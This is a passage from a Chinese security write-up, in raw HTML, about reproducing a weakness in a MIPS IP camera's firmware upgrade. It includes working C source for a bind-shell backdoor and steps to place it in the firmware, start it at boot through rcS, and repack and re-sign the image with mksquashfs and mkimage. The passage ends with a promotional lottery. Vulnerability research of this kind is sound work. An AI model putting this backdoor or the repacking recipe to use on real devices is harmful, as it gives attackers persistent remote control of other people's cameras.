class="code-snippet_outer">    <span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">sockaddr_in</span> <span class="code-snippet__title">server</span>, <span class="code-snippet__title">client</span>;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">socklen_t</span> len;</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    server.sin_family = AF_INET;</span></code><code><span class="code-snippet_outer">    server.sin_port = htons(SERVER_PORT);</span></code><code><span class="code-snippet_outer">    server.sin_addr.s_addr = INADDR_ANY; </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    serverfd = socket(AF_INET, SOCK_STREAM, <span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">    bind(serverfd, (struct sockaddr *)&amp;server, <span class="code-snippet__keyword">sizeof</span>(server));</span></code><code><span class="code-snippet_outer">    listen(serverfd, <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">while</span> (<span class="code-snippet__number">1</span>) { </span></code><code><span class="code-snippet_outer">        len = <span class="code-snippet__keyword">sizeof</span>(struct sockaddr);</span></code><code><span class="code-snippet_outer">        clientfd = accept(serverfd, (struct sockaddr *)&amp;client, &amp;len);</span></code><code><span class="code-snippet_outer">        server_pid = fork(); </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (server_pid) { </span></code><code><span class="code-snippet_outer">            write(clientfd, banner,  <span class="code-snippet__built_in">strlen</span>(banner));</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span>(; i &lt;<span class="code-snippet__number">3</span> <span class="code-snippet__comment">/*u*/</span>; i++) dup2(clientfd, i);</span></code><code><span class="code-snippet_outer">            execve(<span class="code-snippet__string">&#34;/bin/busybox&#34;</span>, args, (<span class="code-snippet__keyword">char</span> *) <span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">            close(clientfd); </span></code><code><span class="code-snippet_outer">        } close(clientfd);</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">这里我们使用OsandaMalith的后门，并使用MIPS的GCC进行交叉编译<strong>「建议使用buildroot」</strong></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3082614056720099" data-s="300,640" style="" data-type="png" data-w="1622" src="https://wechat2rss.xlab.app/img-proxy/?k=172a169b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOVdQaUhPy4Tsw12fN49icBqkwxMQucrPibpXib8p4T0k1l7ib3O4u6CYw6w%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">将其移动到固件的/bin目录中</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.21546261089987326" data-s="300,640" style="" data-type="png" data-w="1578" src="https://wechat2rss.xlab.app/img-proxy/?k=1b046cb5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOhUiahwRbFCgnUiabbmF9LdtkbOhH8iclDo7CyQxamzM1NBywwL5ia9COicw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">最后在/etc/init.d/rcS里的export之后加上启动脚本，如下所示：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.7648351648351648" data-s="300,640" style="" data-type="png" data-w="910" src="https://wechat2rss.xlab.app/img-proxy/?k=36584056&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOEUdgq2TfXTEm67cbJTydZIicd6iaMpRG138Ck3gOibq5BbJIrOIw0RrUQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">在QEMU中测试后门是否能够正常使用：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4697173620457604" data-s="300,640" style="" data-type="png" data-w="1486" src="https://wechat2rss.xlab.app/img-proxy/?k=b038601a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOibibcWQvaJMbo546pKSfvvttCys9ZWw8eVBMjmxfr6Sp2GjyBTgNyHyQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-align: center;text-indent: 0em;"><br/></section><section style="text-align: center;text-indent: 0em;"><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">6 固件重打包</span><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span><br/></section><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">首先是使用<strong>mksquashfs</strong>将根目录打包为squashfs文件系统</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">wget  https:<span class="code-snippet__comment">//www.squashfs-lzma.org/downloads/squashfs4.2.tar.gz</span></span></code></pre></section><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">在默认配置的情况下，squashfs并不支持xz，这里我们修改一下Makefile使其支持XZ格式</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6038011695906432" data-s="300,640" style="" data-type="png" data-w="1368" src="https://wechat2rss.xlab.app/img-proxy/?k=60ec7ee2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOhdicGVwf3HegUicIgh7sY5NV8WhuAFvR1BUcKvgR13Hiabv1ia5IyacIQw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">另外还需要下载一个支持包并安装，地址如下：<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">wget https:<span class="code-snippet__comment">//tukaani.org/xz/xz-5.2.5.tar.gz</span></span></code><code><span class="code-snippet_outer">./configure</span></code><code><span class="code-snippet_outer">make &amp;&amp; sudo make install</span></code></pre></section><p><span style="color:#000000;font-family:Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, Open Sans, Helvetica Neue, sans-serif;"><span style="font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">安装squashfs-tools</span></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.39266304347826086" data-s="300,640" style="" data-type="png" data-w="1472" src="https://wechat2rss.xlab.app/img-proxy/?k=fc691532&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOPAZboQX11ia0zZaEHvZaju2PUVYYHtHnMW4DknSk1IiajmqIACAtSZ8A%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">最后使用如下命令打包文件系统：</span><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">mksquashfs</span> squashfs-root/ my.bin -comp xz -b <span class="code-snippet__number">256k</span></span></code></pre></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.41384615384615386" data-s="300,640" style="" data-type="png" data-w="1300" src="https://wechat2rss.xlab.app/img-proxy/?k=f3a4e9e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuO9afdkibianzicQmBicpK7Nt1fiav2qWekFr5lib7NlwFf6whxGF2rvWI1KMg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">其中参数解析如下：</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="diff"><code><span class="code-snippet_outer">comp 参数可以指定压缩的格式</span></code><code><span class="code-snippet_outer"> -b  可以指定 文件块大小(最小128K) 这里指定的数值越小, 压缩出来的文件越大</span></code></pre></section><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.17865707434052758" data-s="300,640" style="" data-type="png" data-w="1668" src="https://wechat2rss.xlab.app/img-proxy/?k=9ecbfbc6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOdq7kpC3NDaMWMZApBias8prLonDos6Vycuic0FMKN1KCutg6iaLTQNKKA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">因为文件大小和之前的不相同，这里使用00进行填充</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">dd <span class="code-snippet__keyword">if</span>=my.bin <span class="code-snippet__keyword">of</span>=my.bin.ov bs=<span class="code-snippet__number">2949120</span> conv=sync</span></code></pre></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.29081081081081084" data-s="300,640" style="" data-type="png" data-w="1850" src="https://wechat2rss.xlab.app/img-proxy/?k=05672aa4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOF8pvm2tqic2BwckVsmJ4kqDDRaYAJrS4QtMWqzlp2HbrXOQMSJf2Aqg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">因为我们还缺少一个uImage头，所以还需要<strong>mkimage工具</strong>帮助我们生成uimage头</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">安装：sudo apt-<span class="code-snippet__keyword">get</span> install u-boot-tools -y</span></code></pre></section><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">生成uImage</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">mkimage</span> -A MIPS -O linux -T kernel -C lzma -a 0x80000000 -e 0x803B8000 -n <span class="code-snippet__string">&#34;rootfs&#34;</span> -d my.bin uImage</span></code></pre></section><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">但是当尝试升级的时候依旧提示：<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.7697841726618705" data-s="300,640" style="" data-type="png" data-w="1112" src="https://wechat2rss.xlab.app/img-proxy/?k=1a9dc667&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuO8bIrSaogZVCswQD7TmNYl5N9Dkm9PIqSsKYk4zKs8lHROZyib9GBVJg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">猜测可能是<strong>load address和entry point地址错误</strong>，通过串口调试，可以得到加载内核时的load address 和 entry address，然后使用mkimage重新生成固件</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.2606774668630339" data-s="300,640" style="" data-type="png" data-w="1358" src="https://wechat2rss.xlab.app/img-proxy/?k=80c6c894&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuO2rZzqAZLQJtpEicUysAvJbbiaKlCibWmVGIcjqpibWkrdW14zPkCEDrunQ%2F640%3Fwx_fmt%3Dpng"/><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);text-align: justify;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">mkimage</span> -A MIPS -O linux -T kernel -C lzma -a 0x80010000 -e 0x803a3f90 -n <span class="code-snippet__string">&#34;rootfs&#34;</span> -d my.bin uImage</span></code></pre></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.2656023222060958" data-s="300,640" style="" data-type="png" data-w="1378" src="https://wechat2rss.xlab.app/img-proxy/?k=36f25cb1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOwiaWHadplZkWuvEr0hjxyvN3zHRRC5ia0IzicSwE2EdVjsiae3R1NEHw0w%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span><br/></p><p style="text-align: center;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">7 总结</span></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">感谢w22师傅的耐心指导，在复现该漏洞时，主要难点在于要分析出这是uImage头校验，以及在打包uImage时的load addr和entry point地址</span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">可以看到我们在使用qemu仿真MIPS摄像头时，需要输入很长的命令，并每次都配置挂载点、IP等等，这里推荐一个docker版的qemu：<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5714285714285714" data-s="300,640" style="" data-type="png" data-w="1638" src="https://wechat2rss.xlab.app/img-proxy/?k=d8264010&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOcibMicwmbc3lvDvhaq950JA9dYoXBvbq3N4oVsyP5Cibwz0CdTjQU4Peg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">欢迎star：<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//github.com/yywz1999/myQemu</span></span></code></pre></section><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="text-align: center;"><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">请于</span><span style="font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(255, 41, 65);">2021.6.25</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">日前转发本推文至朋友圈（凭转发截图兑奖，开奖前删除无效），</span><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">点击下方卡片进行抽奖</span></strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span></p><p><br/></p><p style="text-align: center;"><mp-miniprogram data-miniprogram-appid="wx01bb1ef166cd3f4e" data-miniprogram-path="/pages/lucky/lottery/detail?id=87aE54HCiGf" data-miniprogram-nickname="抽奖助手" data-miniprogram-avatar="http://mmbiz.qpic.cn/mmbiz_png/Vdys2e8jP1l1clbflznHYO7IRflCZWjPfD4NMn1Xqgr5gZbBy1qVc12cGVG1whLTXiafBT7kiaWRl38HCbqLnRzw/640?wx_fmt=png&amp;wxfrom=200" data-miniprogram-title="转发抽奖｜同款摄像头" data-miniprogram-imageurl="http://mmbiz.qpic.cn/mmbiz_jpg/djiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOI9K5ibxoVYRF4NNDic3LMNExqAmx88tvFmN7Jpfo7JicR9xoU8CRr2NNw/0?wx_fmt=jpeg" data-miniprogram-type="card" data-miniprogram-servicetype="0"></mp-miniprogram></p><p style="text-align: center;"><img data-ratio="0.037096774193548385" data-w="620" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=f2a43d18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZibnzhPsRafHdTzDib6nnoGLHEc4wibgAUyytuT3ERDlMgkRs44VF3KphSCyUnVibiaaLfHiaU20p8ESNw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4012806830309498" data-s="300,640" style="" data-type="png" data-w="1874" src="https://wechat2rss.xlab.app/img-proxy/?k=eabe8721&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOLmpibBstibso6rfWkEJFDwibcW4QbNcHtf2GCjia9DQiafAr9nbQnufE5Ow%2F640%3Fwx_fmt%3Dpng"/><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span></strong></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.43112701252236135" data-s="300,640" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;" data-type="png" data-w="1118" src="https://wechat2rss.xlab.app/img-proxy/?k=f2312631&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOu5t0fBMsCxzDQnk766HhG7jB3rsQictYQjAdKx8Vv1iaDn97KIZLmS8w%2F640%3Fwx_fmt%3Dpng"/><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247488135&amp;idx=1&amp;sn=e0d2834854ecd8b7a2259b2b8c39c7b9&amp;chksm=faae4a4ccdd9c35a3f203671921d09e9bca0134541958e0129ff26882b2c42c38b77136e0971&amp;scene=21#wechat_redirect" textvalue="你已选中了添加链接的内容" data-itemshowtype="0" tab="innerlink" data-linktype="1"><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img class="rich_pages" data-galleryid="" data-ratio="0.4339622641509434" data-s="300,640" style="margin: 0px;" data-type="png" data-w="1166" src="https://wechat2rss.xlab.app/img-proxy/?k=49fa1452&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuO7PBBlnU8bHMbauw0vriaef9Q24JynYXMwcLlvVn8rFGTXeU8tjBdvGQ%2F640%3Fwx_fmt%3Dpng"/></span></a></p><p style="text-align: center;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247486554&amp;idx=1&amp;sn=230088994b318cb213e41f23a7093982&amp;chksm=faae5491cdd9dd87521f796e9c1dfdebdb9df6082e623f5c7bd9c2d68056df36cf6beccec093&amp;scene=21#wechat_redirect" textvalue="你已选中了添加链接的内容" data-itemshowtype="0" tab="innerlink" data-linktype="1"><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img class="rich_pages" data-galleryid="" data-ratio="0.42717497556207235" data-s="300,640" style="margin: 0px;" data-type="png" data-w="2046" 